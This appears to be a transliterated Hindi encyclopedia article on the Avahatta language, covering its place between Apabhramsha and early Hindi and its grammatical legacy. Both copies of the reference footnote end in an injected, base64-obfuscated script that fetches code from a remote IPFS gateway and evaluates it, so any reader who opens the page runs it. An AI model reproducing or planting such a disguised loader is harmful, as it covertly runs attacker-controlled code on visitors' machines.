अवहट्ट भाषा

avahatt bhasha satath parivartanashil hoti hai. koee bhi bhasha jab sahityalamb hokar pratishtit hoti hai to vah vyakaran ke niyamoan ki shriankhala baddh hone lagati hai aur dhire-dhire janabhasha se usaka alagav hone lagata hai. apabhransh ke hi uttarakalin ya paravarti roop ko 'avahatt' nam diya gaya hai. gyarahavian se lekar chaudahavian shati ke apabhransh rachanakaroan ne apani bhasha ko avahatt kaha. 'avahatt' shabd ka sarvapratham prayog jyotirishvar thakur ne apane 'varn ratnakar' mean kiya prakrit paiangalam ke tikakar vanshidhar ne avahatt mana. sandesh rashak, maithil kohil krit kirtilata ki bhasha ko, addahaman aur vidyapati ne avahatt mana. avahatt ko apabhransh aur purani hindi ke bich ki k di mana jata hai. puratan prabandh sangrah ki katipay anu-shrutiyoan, nath aur siddh sahity, neminath chaupaee, bahubali ras, thoolimadd phag adi ke alava sant jnaneshvar ki 'jnaneshvari' aur rodakrit raulabel ki bhasha ko bhi avahatt mana gaya. kh di boli hiandi ke bhashik aur sahityik vikas mean jin bhashaoan aur boliyoan ka vishesh yogadan raha hai unamean apabhransh aur avahatt bhashaean bhi hai. hiandi ko apabhransh aur avahatt se jo kuchh bhi mila usaka poora lekha jokha in tinoan ki bhashik aur sahityik sanpatti ka tulanatmak vivechan karane se prapt hota hai.

apabhransh aur avahatt ka vyakaranik roop

apabhransh kuchh -kuchh aur avahatt bahut kuchh viyogatmak bhasha ban rahi thi, arthath vikari shabdoan (sange, sarvanam, visheshan,aur kriya) ka roopaantar sanskrit ki vibhaktiyoan se mukt hokar parsargoan aur svatantr shabdoan ya shabdkhandoan ki sahayata se hone laga tha. isase bhasha ke saralikaran ki prakriya tej ho gee. apabhransh aur avahatt ka sabase b da yogadan parsargoan ke vikas mean hai. sarvanamoan mean ham aur tum kafi purane haian. shesh sarvanamoan ke roop bhi apabhransh aur avahatt mean sanpann ho ge the. apabhransh mian se avahatt mean maian ho gaya tha. tuhuan se too prapt ho gaya tha. bahut se apabhransh aur avahatt ke sarvanam poorvi aur pashchimi boliyoan ko mile. sabase mahattvapoorn yogadan kriya ki rachana mean kridantiy roopoan ka vikas tha jo apabhransh aur avahatt mean hua. bhavishyath kal ke roop itar boliyoan ko mile; avahatt mean, bhale hi chhitaput, g-roop ane laga tha. isi se kh di boli ko ga ge gi prapt hue. apabhransh aur avahatt mean sanyukt kriyaoan ka prayog bhi dhyatavy hai. isi ke age hiandi mean sakana, chubhana, ana, lana, jana, lena, dena, uthana, baithana ka aantar kriyaoan se yog karane par sanyukt kriyaoan ka vikas hua aur unamean nee arthavatta vikasit huee. apabhransh kal se tatsam shabdoan ka pun:jivan, videshi shabdavali ka grahan, deshi shabdoan ka gathan drut gati se badh chala. prakrit to sanskrit ki anugamini thi - tadbhav pradhan. apabhransh aur avahatt ki udarata ne hiandi ko apana shabd bhandar bharane mean bhari sahayata di.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ apabhransh, avahatt evan aranbhik hiandi ka vyakaranik aur prayogik roop (hiandi) (ech.ti.em.el) basant kumar chaudhari (bl aaug). abhigaman tithi: 11 faravari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

apabhransh evan adhunik bharatiy ary bhashaoan ke sankraman-kal ki rachanaean

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] ransh, avahatt evan aranbhik hiandi ka vyakaranik aur prayogik roop (hiandi) (ech.ti.em.el) basant kumar chaudhari (bl aaug). abhigaman tithi: 11 faravari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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